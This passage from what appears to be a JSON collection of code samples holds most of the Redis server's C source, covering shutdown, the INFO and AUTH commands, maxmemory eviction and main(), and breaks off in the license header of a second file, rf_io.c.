did by SHUTDOWN. */\n    if (server.rdb_child_pid != -1) {\n        redisLog(REDIS_WARNING,\"There is a child saving an .rdb. Killing it!\");\n        kill(server.rdb_child_pid,SIGKILL);\n        rdbRemoveTempFile(server.rdb_child_pid);\n    }\n    if (server.aof_state != REDIS_AOF_OFF) {\n        /* Kill the AOF saving child as the AOF we already have may be longer\n         * but contains the full dataset anyway. */\n        if (server.aof_child_pid != -1) {\n            redisLog(REDIS_WARNING,\n                \"There is a child rewriting the AOF. Killing it!\");\n            kill(server.aof_child_pid,SIGKILL);\n        }\n        /* Append only file: fsync() the AOF and exit */\n        redisLog(REDIS_NOTICE,\"Calling fsync() on the AOF file.\");\n        aof_fsync(server.aof_fd);\n    }\n    if ((server.saveparamslen > 0 && !nosave) || save) {\n        redisLog(REDIS_NOTICE,\"Saving the final RDB snapshot before exiting.\");\n        /* Snapshotting. Perform a SYNC SAVE and exit */\n        if (rdbSave(server.rdb_filename) != REDIS_OK) {\n            /* Ooops.. error saving! The best we can do is to continue\n             * operating. Note that if there was a background saving process,\n             * in the next cron() Redis will be notified that the background\n             * saving aborted, handling special stuff like slaves pending for\n             * synchronization... */\n            redisLog(REDIS_WARNING,\"Error trying to save the DB, can't exit.\");\n            return REDIS_ERR;\n        }\n    }\n    if (server.daemonize) {\n        redisLog(REDIS_NOTICE,\"Removing the pid file.\");\n        unlink(server.pidfile);\n    }\n    /* Close the listening sockets. Apparently this allows faster restarts. */\n    if (server.ipfd != -1) close(server.ipfd);\n    if (server.sofd != -1) close(server.sofd);\n    if (server.unixsocket) {\n        redisLog(REDIS_NOTICE,\"Removing the unix socket file.\");\n        unlink(server.unixsocket); /* don't care if this fails */\n    }\n\n    redisLog(REDIS_WARNING,\"Redis is now ready to exit, bye bye...\");\n    return REDIS_OK;\n}\n\n/*================================== Commands =============================== */\n\nvoid authCommand(redisClient *c) {\n    if (!server.requirepass) {\n        addReplyError(c,\"Client sent AUTH, but no password is set\");\n    } else if (!strcmp(c->argv[1]->ptr, server.requirepass)) {\n      c->authenticated = 1;\n      addReply(c,shared.ok);\n    } else {\n      c->authenticated = 0;\n      addReplyError(c,\"invalid password\");\n    }\n}\n\nvoid pingCommand(redisClient *c) {\n    addReply(c,shared.pong);\n}\n\nvoid echoCommand(redisClient *c) {\n    addReplyBulk(c,c->argv[1]);\n}\n\nvoid timeCommand(redisClient *c) {\n    struct timeval tv;\n\n    /* gettimeofday() can only fail if &tv is a bad addresss so we\n     * don't check for errors. */\n    gettimeofday(&tv,NULL);\n    addReplyMultiBulkLen(c,2);\n    addReplyBulkLongLong(c,tv.tv_sec);\n    addReplyBulkLongLong(c,tv.tv_usec);\n}\n\n/* Convert an amount of bytes into a human readable string in the form\n * of 100B, 2G, 100M, 4K, and so forth. */\nvoid bytesToHuman(char *s, unsigned long long n) {\n    double d;\n\n    if (n < 1024) {\n        /* Bytes */\n        sprintf(s,\"%lluB\",n);\n        return;\n    } else if (n < (1024*1024)) {\n        d = (double)n/(1024);\n        sprintf(s,\"%.2fK\",d);\n    } else if (n < (1024LL*1024*1024)) {\n        d = (double)n/(1024*1024);\n        sprintf(s,\"%.2fM\",d);\n    } else if (n < (1024LL*1024*1024*1024)) {\n        d = (double)n/(1024LL*1024*1024);\n        sprintf(s,\"%.2fG\",d);\n    }\n}\n\n/* Create the string returned by the INFO command. This is decoupled\n * by the INFO command itself as we need to report the same information\n * on memory corruption problems. */\nsds genRedisInfoString(char *section) {\n    sds info = sdsempty();\n    time_t uptime = server.unixtime-server.stat_starttime;\n    int j, numcommands;\n    struct rusage self_ru, c_ru;\n    unsigned long lol, bib;\n    int allsections = 0, defsections = 0;\n    int sections = 0;\n    \n    if (section) {\n        allsections = strcasecmp(section,\"all\") == 0;\n        defsections = strcasecmp(section,\"default\") == 0;\n    }\n\n    getrusage(RUSAGE_SELF, &self_ru);\n    getrusage(RUSAGE_CHILDREN, &c_ru);\n    getClientsMaxBuffers(&lol,&bib);\n\n    /* Server */\n    if (allsections || defsections || !strcasecmp(section,\"server\")) {\n        struct utsname name;\n\n        if (sections++) info = sdscat(info,\"\\r\\n\");\n        uname(&name);\n        info = sdscatprintf(info,\n            \"# Server\\r\\n\"\n            \"redis_version:%s\\r\\n\"\n            \"redis_git_sha1:%s\\r\\n\"\n            \"redis_git_dirty:%d\\r\\n\"\n            \"os:%s %s %s\\r\\n\"\n            \"arch_bits:%d\\r\\n\"\n            \"multiplexing_api:%s\\r\\n\"\n            \"gcc_version:%d.%d.%d\\r\\n\"\n            \"process_id:%ld\\r\\n\"\n            \"run_id:%s\\r\\n\"\n            \"tcp_port:%d\\r\\n\"\n            \"uptime_in_seconds:%ld\\r\\n\"\n            \"uptime_in_days:%ld\\r\\n\"\n            \"lru_clock:%ld\\r\\n\",\n            REDIS_VERSION,\n            redisGitSHA1(),\n            strtol(redisGitDirty(),NULL,10) > 0,\n            name.sysname, name.release, name.machine,\n            server.arch_bits,\n            aeGetApiName(),\n#ifdef __GNUC__\n            __GNUC__,__GNUC_MINOR__,__GNUC_PATCHLEVEL__,\n#else\n            0,0,0,\n#endif\n            (long) getpid(),\n            server.runid,\n            server.port,\n            uptime,\n            uptime/(3600*24),\n            (unsigned long) server.lruclock);\n    }\n\n    /* Clients */\n    if (allsections || defsections || !strcasecmp(section,\"clients\")) {\n        if (sections++) info = sdscat(info,\"\\r\\n\");\n        info = sdscatprintf(info,\n            \"# Clients\\r\\n\"\n            \"connected_clients:%lu\\r\\n\"\n            \"client_longest_output_list:%lu\\r\\n\"\n            \"client_biggest_input_buf:%lu\\r\\n\"\n            \"blocked_clients:%d\\r\\n\",\n            listLength(server.clients)-listLength(server.slaves),\n            lol, bib,\n            server.bpop_blocked_clients);\n    }\n\n    /* Memory */\n    if (allsections || defsections || !strcasecmp(section,\"memory\")) {\n        char hmem[64];\n        char peak_hmem[64];\n\n        bytesToHuman(hmem,zmalloc_used_memory());\n        bytesToHuman(peak_hmem,server.stat_peak_memory);\n        if (sections++) info = sdscat(info,\"\\r\\n\");\n        info = sdscatprintf(info,\n            \"# Memory\\r\\n\"\n            \"used_memory:%zu\\r\\n\"\n            \"used_memory_human:%s\\r\\n\"\n            \"used_memory_rss:%zu\\r\\n\"\n            \"used_memory_peak:%zu\\r\\n\"\n            \"used_memory_peak_human:%s\\r\\n\"\n            \"used_memory_lua:%lld\\r\\n\"\n            \"mem_fragmentation_ratio:%.2f\\r\\n\"\n            \"mem_allocator:%s\\r\\n\",\n            zmalloc_used_memory(),\n            hmem,\n            zmalloc_get_rss(),\n            server.stat_peak_memory,\n            peak_hmem,\n            ((long long)lua_gc(server.lua,LUA_GCCOUNT,0))*1024LL,\n            zmalloc_get_fragmentation_ratio(),\n            ZMALLOC_LIB\n            );\n    }\n\n    /* Persistence */\n    if (allsections || defsections || !strcasecmp(section,\"persistence\")) {\n        if (sections++) info = sdscat(info,\"\\r\\n\");\n        info = sdscatprintf(info,\n            \"# Persistence\\r\\n\"\n            \"loading:%d\\r\\n\"\n            \"rdb_changes_since_last_save:%lld\\r\\n\"\n            \"rdb_bgsave_in_progress:%d\\r\\n\"\n            \"rdb_last_save_time:%ld\\r\\n\"\n            \"rdb_last_bgsave_status:%s\\r\\n\"\n            \"rdb_last_bgsave_time_sec:%ld\\r\\n\"\n            \"rdb_current_bgsave_time_sec:%ld\\r\\n\"\n            \"aof_enabled:%d\\r\\n\"\n            \"aof_rewrite_in_progress:%d\\r\\n\"\n            \"aof_rewrite_scheduled:%d\\r\\n\"\n            \"aof_last_rewrite_time_sec:%ld\\r\\n\"\n            \"aof_current_rewrite_time_sec:%ld\\r\\n\",\n            server.loading,\n            server.dirty,\n            server.rdb_child_pid != -1,\n            server.lastsave,\n            server.lastbgsave_status == REDIS_OK ? \"ok\" : \"err\",\n            server.rdb_save_time_last,\n            (server.rdb_child_pid == -1) ?\n                -1 : time(NULL)-server.rdb_save_time_start,\n            server.aof_state != REDIS_AOF_OFF,\n            server.aof_child_pid != -1,\n            server.aof_rewrite_scheduled,\n            server.aof_rewrite_time_last,\n            (server.aof_child_pid == -1) ?\n                -1 : time(NULL)-server.aof_rewrite_time_start);\n\n        if (server.aof_state != REDIS_AOF_OFF) {\n            info = sdscatprintf(info,\n                \"aof_current_size:%lld\\r\\n\"\n                \"aof_base_size:%lld\\r\\n\"\n                \"aof_pending_rewrite:%d\\r\\n\"\n                \"aof_buffer_length:%zu\\r\\n\"\n                \"aof_rewrite_buffer_length:%zu\\r\\n\"\n                \"aof_pending_bio_fsync:%llu\\r\\n\"\n                \"aof_delayed_fsync:%lu\\r\\n\",\n                (long long) server.aof_current_size,\n                (long long) server.aof_rewrite_base_size,\n                server.aof_rewrite_scheduled,\n                sdslen(server.aof_buf),\n                aofRewriteBufferSize(),\n                bioPendingJobsOfType(REDIS_BIO_AOF_FSYNC),\n                server.aof_delayed_fsync);\n        }\n\n        if (server.loading) {\n            double perc;\n            time_t eta, elapsed;\n            off_t remaining_bytes = server.loading_total_bytes-\n                                    server.loading_loaded_bytes;\n\n            perc = ((double)server.loading_loaded_bytes /\n                   server.loading_total_bytes) * 100;\n\n            elapsed = server.unixtime-server.loading_start_time;\n            if (elapsed == 0) {\n                eta = 1; /* A fake 1 second figure if we don't have\n                            enough info */\n            } else {\n                eta = (elapsed*remaining_bytes)/server.loading_loaded_bytes;\n            }\n\n            info = sdscatprintf(info,\n                \"loading_start_time:%ld\\r\\n\"\n                \"loading_total_bytes:%llu\\r\\n\"\n                \"loading_loaded_bytes:%llu\\r\\n\"\n                \"loading_loaded_perc:%.2f\\r\\n\"\n                \"loading_eta_seconds:%ld\\r\\n\"\n                ,(unsigned long) server.loading_start_time,\n                (unsigned long long) server.loading_total_bytes,\n                (unsigned long long) server.loading_loaded_bytes,\n                perc,\n                eta\n            );\n        }\n    }\n\n    /* Stats */\n    if (allsections || defsections || !strcasecmp(section,\"stats\")) {\n        if (sections++) info = sdscat(info,\"\\r\\n\");\n        info = sdscatprintf(info,\n            \"# Stats\\r\\n\"\n            \"total_connections_received:%lld\\r\\n\"\n            \"total_commands_processed:%lld\\r\\n\"\n            \"instantaneous_ops_per_sec:%lld\\r\\n\"\n            \"rejected_connections:%lld\\r\\n\"\n            \"expired_keys:%lld\\r\\n\"\n            \"evicted_keys:%lld\\r\\n\"\n            \"keyspace_hits:%lld\\r\\n\"\n            \"keyspace_misses:%lld\\r\\n\"\n            \"pubsub_channels:%ld\\r\\n\"\n            \"pubsub_patterns:%lu\\r\\n\"\n            \"latest_fork_usec:%lld\\r\\n\",\n            server.stat_numconnections,\n            server.stat_numcommands,\n            getOperationsPerSecond(),\n            server.stat_rejected_conn,\n            server.stat_expiredkeys,\n            server.stat_evictedkeys,\n            server.stat_keyspace_hits,\n            server.stat_keyspace_misses,\n            dictSize(server.pubsub_channels),\n            listLength(server.pubsub_patterns),\n            server.stat_fork_time);\n    }\n\n    /* Replication */\n    if (allsections || defsections || !strcasecmp(section,\"replication\")) {\n        if (sections++) info = sdscat(info,\"\\r\\n\");\n        info = sdscatprintf(info,\n            \"# Replication\\r\\n\"\n            \"role:%s\\r\\n\",\n            server.masterhost == NULL ? \"master\" : \"slave\");\n        if (server.masterhost) {\n            info = sdscatprintf(info,\n                \"master_host:%s\\r\\n\"\n                \"master_port:%d\\r\\n\"\n                \"master_link_status:%s\\r\\n\"\n                \"master_last_io_seconds_ago:%d\\r\\n\"\n                \"master_sync_in_progress:%d\\r\\n\"\n                ,server.masterhost,\n                server.masterport,\n                (server.repl_state == REDIS_REPL_CONNECTED) ?\n                    \"up\" : \"down\",\n                server.master ?\n                ((int)(server.unixtime-server.master->lastinteraction)) : -1,\n                server.repl_state == REDIS_REPL_TRANSFER\n            );\n\n            if (server.repl_state == REDIS_REPL_TRANSFER) {\n                info = sdscatprintf(info,\n                    \"master_sync_left_bytes:%ld\\r\\n\"\n                    \"master_sync_last_io_seconds_ago:%d\\r\\n\"\n                    ,(long)server.repl_transfer_left,\n                    (int)(server.unixtime-server.repl_transfer_lastio)\n                );\n            }\n\n            if (server.repl_state != REDIS_REPL_CONNECTED) {\n                info = sdscatprintf(info,\n                    \"master_link_down_since_seconds:%ld\\r\\n\",\n                    (long)server.unixtime-server.repl_down_since);\n            }\n        }\n        info = sdscatprintf(info,\n            \"connected_slaves:%lu\\r\\n\",\n            listLength(server.slaves));\n        if (listLength(server.slaves)) {\n            int slaveid = 0;\n            listNode *ln;\n            listIter li;\n\n            listRewind(server.slaves,&li);\n            while((ln = listNext(&li))) {\n                redisClient *slave = listNodeValue(ln);\n                char *state = NULL;\n                char ip[32];\n                int port;\n\n                if (anetPeerToString(slave->fd,ip,&port) == -1) continue;\n                switch(slave->replstate) {\n                case REDIS_REPL_WAIT_BGSAVE_START:\n                case REDIS_REPL_WAIT_BGSAVE_END:\n                    state = \"wait_bgsave\";\n                    break;\n                case REDIS_REPL_SEND_BULK:\n                    state = \"send_bulk\";\n                    break;\n                case REDIS_REPL_ONLINE:\n                    state = \"online\";\n                    break;\n                }\n                if (state == NULL) continue;\n                info = sdscatprintf(info,\"slave%d:%s,%d,%s\\r\\n\",\n                    slaveid,ip,port,state);\n                slaveid++;\n            }\n        }\n    }\n\n    /* CPU */\n    if (allsections || defsections || !strcasecmp(section,\"cpu\")) {\n        if (sections++) info = sdscat(info,\"\\r\\n\");\n        info = sdscatprintf(info,\n        \"# CPU\\r\\n\"\n        \"used_cpu_sys:%.2f\\r\\n\"\n        \"used_cpu_user:%.2f\\r\\n\"\n        \"used_cpu_sys_children:%.2f\\r\\n\"\n        \"used_cpu_user_children:%.2f\\r\\n\",\n        (float)self_ru.ru_stime.tv_sec+(float)self_ru.ru_stime.tv_usec/1000000,\n        (float)self_ru.ru_utime.tv_sec+(float)self_ru.ru_utime.tv_usec/1000000,\n        (float)c_ru.ru_stime.tv_sec+(float)c_ru.ru_stime.tv_usec/1000000,\n        (float)c_ru.ru_utime.tv_sec+(float)c_ru.ru_utime.tv_usec/1000000);\n    }\n\n    /* cmdtime */\n    if (allsections || !strcasecmp(section,\"commandstats\")) {\n        if (sections++) info = sdscat(info,\"\\r\\n\");\n        info = sdscatprintf(info, \"# Commandstats\\r\\n\");\n        numcommands = sizeof(redisCommandTable)/sizeof(struct redisCommand);\n        for (j = 0; j < numcommands; j++) {\n            struct redisCommand *c = redisCommandTable+j;\n\n            if (!c->calls) continue;\n            info = sdscatprintf(info,\n                \"cmdstat_%s:calls=%lld,usec=%lld,usec_per_call=%.2f\\r\\n\",\n                c->name, c->calls, c->microseconds,\n                (c->calls == 0) ? 0 : ((float)c->microseconds/c->calls));\n        }\n    }\n\n    /* Cluster */\n    if (allsections || defsections || !strcasecmp(section,\"cluster\")) {\n        if (sections++) info = sdscat(info,\"\\r\\n\");\n        info = sdscatprintf(info,\n        \"# Cluster\\r\\n\"\n        \"cluster_enabled:%d\\r\\n\",\n        server.cluster_enabled);\n    }\n\n    /* Key space */\n    if (allsections || defsections || !strcasecmp(section,\"keyspace\")) {\n        if (sections++) info = sdscat(info,\"\\r\\n\");\n        info = sdscatprintf(info, \"# Keyspace\\r\\n\");\n        for (j = 0; j < server.dbnum; j++) {\n            long long keys, vkeys;\n\n            keys = dictSize(server.db[j].dict);\n            vkeys = dictSize(server.db[j].expires);\n            if (keys || vkeys) {\n                info = sdscatprintf(info, \"db%d:keys=%lld,expires=%lld\\r\\n\",\n                    j, keys, vkeys);\n            }\n        }\n    }\n    return info;\n}\n\nvoid infoCommand(redisClient *c) {\n    char *section = c->argc == 2 ? c->argv[1]->ptr : \"default\";\n\n    if (c->argc > 2) {\n        addReply(c,shared.syntaxerr);\n        return;\n    }\n    sds info = genRedisInfoString(section);\n    addReplySds(c,sdscatprintf(sdsempty(),\"$%lu\\r\\n\",\n        (unsigned long)sdslen(info)));\n    addReplySds(c,info);\n    addReply(c,shared.crlf);\n}\n\nvoid monitorCommand(redisClient *c) {\n    /* ignore MONITOR if aleady slave or in monitor mode */\n    if (c->flags & REDIS_SLAVE) return;\n\n    c->flags |= (REDIS_SLAVE|REDIS_MONITOR);\n    c->slaveseldb = 0;\n    listAddNodeTail(server.monitors,c);\n    addReply(c,shared.ok);\n}\n\n/* ============================ Maxmemory directive  ======================== */\n\n/* This function gets called when 'maxmemory' is set on the config file to limit\n * the max memory used by the server, before processing a command.\n *\n * The goal of the function is to free enough memory to keep Redis under the\n * configured memory limit.\n *\n * The function starts calculating how many bytes should be freed to keep\n * Redis under the limit, and enters a loop selecting the best keys to\n * evict accordingly to the configured policy.\n *\n * If all the bytes needed to return back under the limit were freed the\n * function returns REDIS_OK, otherwise REDIS_ERR is returned, and the caller\n * should block the execution of commands that will result in more memory\n * used by the server.\n */\nint freeMemoryIfNeeded(void) {\n    size_t mem_used, mem_tofree, mem_freed;\n    int slaves = listLength(server.slaves);\n\n    /* Remove the size of slaves output buffers and AOF buffer from the\n     * count of used memory. */\n    mem_used = zmalloc_used_memory();\n    if (slaves) {\n        listIter li;\n        listNode *ln;\n\n        listRewind(server.slaves,&li);\n        while((ln = listNext(&li))) {\n            redisClient *slave = listNodeValue(ln);\n            unsigned long obuf_bytes = getClientOutputBufferMemoryUsage(slave);\n            if (obuf_bytes > mem_used)\n                mem_used = 0;\n            else\n                mem_used -= obuf_bytes;\n        }\n    }\n    if (server.aof_state != REDIS_AOF_OFF) {\n        mem_used -= sdslen(server.aof_buf);\n        mem_used -= aofRewriteBufferSize();\n    }\n\n    /* Check if we are over the memory limit. */\n    if (mem_used <= server.maxmemory) return REDIS_OK;\n\n    if (server.maxmemory_policy == REDIS_MAXMEMORY_NO_EVICTION)\n        return REDIS_ERR; /* We need to free memory, but policy forbids. */\n\n    /* Compute how much memory we need to free. */\n    mem_tofree = mem_used - server.maxmemory;\n    mem_freed = 0;\n    while (mem_freed < mem_tofree) {\n        int j, k, keys_freed = 0;\n\n        for (j = 0; j < server.dbnum; j++) {\n            long bestval = 0; /* just to prevent warning */\n            sds bestkey = NULL;\n            struct dictEntry *de;\n            redisDb *db = server.db+j;\n            dict *dict;\n\n            if (server.maxmemory_policy == REDIS_MAXMEMORY_ALLKEYS_LRU ||\n                server.maxmemory_policy == REDIS_MAXMEMORY_ALLKEYS_RANDOM)\n            {\n                dict = server.db[j].dict;\n            } else {\n                dict = server.db[j].expires;\n            }\n            if (dictSize(dict) == 0) continue;\n\n            /* volatile-random and allkeys-random policy */\n            if (server.maxmemory_policy == REDIS_MAXMEMORY_ALLKEYS_RANDOM ||\n                server.maxmemory_policy == REDIS_MAXMEMORY_VOLATILE_RANDOM)\n            {\n                de = dictGetRandomKey(dict);\n                bestkey = dictGetKey(de);\n            }\n\n            /* volatile-lru and allkeys-lru policy */\n            else if (server.maxmemory_policy == REDIS_MAXMEMORY_ALLKEYS_LRU ||\n                server.maxmemory_policy == REDIS_MAXMEMORY_VOLATILE_LRU)\n            {\n                for (k = 0; k < server.maxmemory_samples; k++) {\n                    sds thiskey;\n                    long thisval;\n                    robj *o;\n\n                    de = dictGetRandomKey(dict);\n                    thiskey = dictGetKey(de);\n                    /* When policy is volatile-lru we need an additonal lookup\n                     * to locate the real key, as dict is set to db->expires. */\n                    if (server.maxmemory_policy == REDIS_MAXMEMORY_VOLATILE_LRU)\n                        de = dictFind(db->dict, thiskey);\n                    o = dictGetVal(de);\n                    thisval = estimateObjectIdleTime(o);\n\n                    /* Higher idle time is better candidate for deletion */\n                    if (bestkey == NULL || thisval > bestval) {\n                        bestkey = thiskey;\n                        bestval = thisval;\n                    }\n                }\n            }\n\n            /* volatile-ttl */\n            else if (server.maxmemory_policy == REDIS_MAXMEMORY_VOLATILE_TTL) {\n                for (k = 0; k < server.maxmemory_samples; k++) {\n                    sds thiskey;\n                    long thisval;\n\n                    de = dictGetRandomKey(dict);\n                    thiskey = dictGetKey(de);\n                    thisval = (long) dictGetVal(de);\n\n                    /* Expire sooner (minor expire unix timestamp) is better\n                     * candidate for deletion */\n                    if (bestkey == NULL || thisval < bestval) {\n                        bestkey = thiskey;\n                        bestval = thisval;\n                    }\n                }\n            }\n\n            /* Finally remove the selected key. */\n            if (bestkey) {\n                long long delta;\n\n                robj *keyobj = createStringObject(bestkey,sdslen(bestkey));\n                propagateExpire(db,keyobj);\n                /* We compute the amount of memory freed by dbDelete() alone.\n                 * It is possible that actually the memory needed to propagate\n                 * the DEL in AOF and replication link is greater than the one\n                 * we are freeing removing the key, but we can't account for\n                 * that otherwise we would never exit the loop.\n                 *\n                 * AOF and Output buffer memory will be freed eventually so\n                 * we only care about memory used by the key space. */\n                delta = (long long) zmalloc_used_memory();\n                dbDelete(db,keyobj);\n                delta -= (long long) zmalloc_used_memory();\n                mem_freed += delta;\n                server.stat_evictedkeys++;\n                decrRefCount(keyobj);\n                keys_freed++;\n\n                /* When the memory to free starts to be big enough, we may\n                 * start spending so much time here that is impossible to\n                 * deliver data to the slaves fast enough, so we force the\n                 * transmission here inside the loop. */\n                if (slaves) flushSlavesOutputBuffers();\n            }\n        }\n        if (!keys_freed) return REDIS_ERR; /* nothing to free... */\n    }\n    return REDIS_OK;\n}\n\n/* =================================== Main! ================================ */\n\n#ifdef __linux__\nint linuxOvercommitMemoryValue(void) {\n    FILE *fp = fopen(\"/proc/sys/vm/overcommit_memory\",\"r\");\n    char buf[64];\n\n    if (!fp) return -1;\n    if (fgets(buf,64,fp) == NULL) {\n        fclose(fp);\n        return -1;\n    }\n    fclose(fp);\n\n    return atoi(buf);\n}\n\nvoid linuxOvercommitMemoryWarning(void) {\n    if (linuxOvercommitMemoryValue() == 0) {\n        redisLog(REDIS_WARNING,\"WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.\");\n    }\n}\n#endif /* __linux__ */\n\nvoid createPidFile(void) {\n    /* Try to write the pid file in a best-effort way. */\n    FILE *fp = fopen(server.pidfile,\"w\");\n    if (fp) {\n        fprintf(fp,\"%d\\n\",(int)getpid());\n        fclose(fp);\n    }\n}\n\nvoid daemonize(void) {\n    int fd;\n\n    if (fork() != 0) exit(0); /* parent exits */\n    setsid(); /* create a new session */\n\n    /* Every output goes to /dev/null. If Redis is daemonized but\n     * the 'logfile' is set to 'stdout' in the configuration file\n     * it will not log at all. */\n    if ((fd = open(\"/dev/null\", O_RDWR, 0)) != -1) {\n        dup2(fd, STDIN_FILENO);\n        dup2(fd, STDOUT_FILENO);\n        dup2(fd, STDERR_FILENO);\n        if (fd > STDERR_FILENO) close(fd);\n    }\n}\n\nvoid version() {\n    printf(\"Redis server v=%s sha=%s:%d malloc=%s bits=%d\\n\",\n        REDIS_VERSION,\n        redisGitSHA1(),\n        atoi(redisGitDirty()) > 0,\n        ZMALLOC_LIB,\n        sizeof(long) == 4 ? 32 : 64);\n    exit(0);\n}\n\nvoid usage() {\n    fprintf(stderr,\"Usage: ./redis-server [/path/to/redis.conf] [options]\\n\");\n    fprintf(stderr,\"       ./redis-server - (read config from stdin)\\n\");\n    fprintf(stderr,\"       ./redis-server -v or --version\\n\");\n    fprintf(stderr,\"       ./redis-server -h or --help\\n\");\n    fprintf(stderr,\"       ./redis-server --test-memory <megabytes>\\n\\n\");\n    fprintf(stderr,\"Examples:\\n\");\n    fprintf(stderr,\"       ./redis-server (run the server with default conf)\\n\");\n    fprintf(stderr,\"       ./redis-server /etc/redis/6379.conf\\n\");\n    fprintf(stderr,\"       ./redis-server --port 7777\\n\");\n    fprintf(stderr,\"       ./redis-server --port 7777 --slaveof 127.0.0.1 8888\\n\");\n    fprintf(stderr,\"       ./redis-server /etc/myredis.conf --loglevel verbose\\n\");\n    exit(1);\n}\n\nvoid redisAsciiArt(void) {\n#include \"asciilogo.h\"\n    char *buf = zmalloc(1024*16);\n\n    snprintf(buf,1024*16,ascii_logo,\n        REDIS_VERSION,\n        redisGitSHA1(),\n        strtol(redisGitDirty(),NULL,10) > 0,\n        (sizeof(long) == 8) ? \"64\" : \"32\",\n        server.cluster_enabled ? \"cluster\" : \"stand alone\",\n        server.port,\n        (long) getpid()\n    );\n    redisLogRaw(REDIS_NOTICE|REDIS_LOG_RAW,buf);\n    zfree(buf);\n}\n\nstatic void sigtermHandler(int sig) {\n    REDIS_NOTUSED(sig);\n\n    redisLogFromHandler(REDIS_WARNING,\"Received SIGTERM, scheduling shutdown...\");\n    server.shutdown_asap = 1;\n}\n\nvoid setupSignalHandlers(void) {\n    struct sigaction act;\n\n    /* When the SA_SIGINFO flag is set in sa_flags then sa_sigaction is used.\n     * Otherwise, sa_handler is used. */\n    sigemptyset(&act.sa_mask);\n    act.sa_flags = 0;\n    act.sa_handler = sigtermHandler;\n    sigaction(SIGTERM, &act, NULL);\n\n#ifdef HAVE_BACKTRACE\n    sigemptyset(&act.sa_mask);\n    act.sa_flags = SA_NODEFER | SA_RESETHAND | SA_SIGINFO;\n    act.sa_sigaction = sigsegvHandler;\n    sigaction(SIGSEGV, &act, NULL);\n    sigaction(SIGBUS, &act, NULL);\n    sigaction(SIGFPE, &act, NULL);\n    sigaction(SIGILL, &act, NULL);\n#endif\n    return;\n}\n\nvoid memtest(size_t megabytes, int passes);\n\nint main(int argc, char **argv) {\n    long long start;\n    struct timeval tv;\n\n    /* We need to initialize our libraries, and the server configuration. */\n    zmalloc_enable_thread_safeness();\n    srand(time(NULL)^getpid());\n    gettimeofday(&tv,NULL);\n    dictSetHashFunctionSeed(tv.tv_sec^tv.tv_usec^getpid());\n    initServerConfig();\n\n    if (argc >= 2) {\n        int j = 1; /* First option to parse in argv[] */\n        sds options = sdsempty();\n        char *configfile = NULL;\n\n        /* Handle special options --help and --version */\n        if (strcmp(argv[1], \"-v\") == 0 ||\n            strcmp(argv[1], \"--version\") == 0) version();\n        if (strcmp(argv[1], \"--help\") == 0 ||\n            strcmp(argv[1], \"-h\") == 0) usage();\n        if (strcmp(argv[1], \"--test-memory\") == 0) {\n            if (argc == 3) {\n                memtest(atoi(argv[2]),50);\n                exit(0);\n            } else {\n                fprintf(stderr,\"Please specify the amount of memory to test in megabytes.\\n\");\n                fprintf(stderr,\"Example: ./redis-server --test-memory 4096\\n\\n\");\n                exit(1);\n            }\n        }\n\n        /* First argument is the config file name? */\n        if (argv[j][0] != '-' || argv[j][1] != '-')\n            configfile = argv[j++];\n        /* All the other options are parsed and conceptually appended to the\n         * configuration file. For instance --port 6380 will generate the\n         * string \"port 6380\\n\" to be parsed after the actual file name\n         * is parsed, if any. */\n        while(j != argc) {\n            if (argv[j][0] == '-' && argv[j][1] == '-') {\n                /* Option name */\n                if (sdslen(options)) options = sdscat(options,\"\\n\");\n                options = sdscat(options,argv[j]+2);\n                options = sdscat(options,\" \");\n            } else {\n                /* Option argument */\n                options = sdscatrepr(options,argv[j],strlen(argv[j]));\n                options = sdscat(options,\" \");\n            }\n            j++;\n        }\n        resetServerSaveParams();\n        loadServerConfig(configfile,options);\n        sdsfree(options);\n    } else {\n        redisLog(REDIS_WARNING,\"Warning: no config file specified, using the default config. In order to specify a config file use 'redis-server /path/to/redis.conf'\");\n    }\n    if (server.daemonize) daemonize();\n    initServer();\n    if (server.daemonize) createPidFile();\n    redisAsciiArt();\n    redisLog(REDIS_WARNING,\"Server started, Redis version \" REDIS_VERSION);\n#ifdef __linux__\n    linuxOvercommitMemoryWarning();\n#endif\n    start = ustime();\n    if (server.aof_state == REDIS_AOF_ON) {\n        if (loadAppendOnlyFile(server.aof_filename) == REDIS_OK)\n            redisLog(REDIS_NOTICE,\"DB loaded from append only file: %.3f seconds\",(float)(ustime()-start)/1000000);\n    } else {\n        if (rdbLoad(server.rdb_filename) == REDIS_OK) {\n            redisLog(REDIS_NOTICE,\"DB loaded from disk: %.3f seconds\",\n                (float)(ustime()-start)/1000000);\n        } else if (errno != ENOENT) {\n            redisLog(REDIS_WARNING,\"Fatal error loading the DB. Exiting.\");\n            exit(1);\n        }\n    }\n    if (server.ipfd > 0)\n        redisLog(REDIS_NOTICE,\"The server is now ready to accept connections on port %d\", server.port);\n    if (server.sofd > 0)\n        redisLog(REDIS_NOTICE,\"The server is now ready to accept connections at %s\", server.unixsocket);\n    aeSetBeforeSleepProc(server.el,beforeSleep);\n    aeMain(server.el);\n    aeDeleteEventLoop(server.el);\n    return 0;\n}\n\n/* The End */\n"
  },
  {
    "path": "samples/C/rf_io.c",
    "content": "/**\n** Copyright (c) 2011-2012, Karapetsas Eleftherios\n** All rights reserved.\n**\n** Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n**  1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n**  2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in\n**     the documentation and/or other materials provided with the distribution.\n**  3. Neither the name of the Original Author of Refu nor the names of its contributors may be used to endorse or promote products derived from\n**\n**  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n**  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n**  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n**  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n**  SERVICES;LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n**  WHETHER IN CONTRACT, STRICT LIABILITY, OR 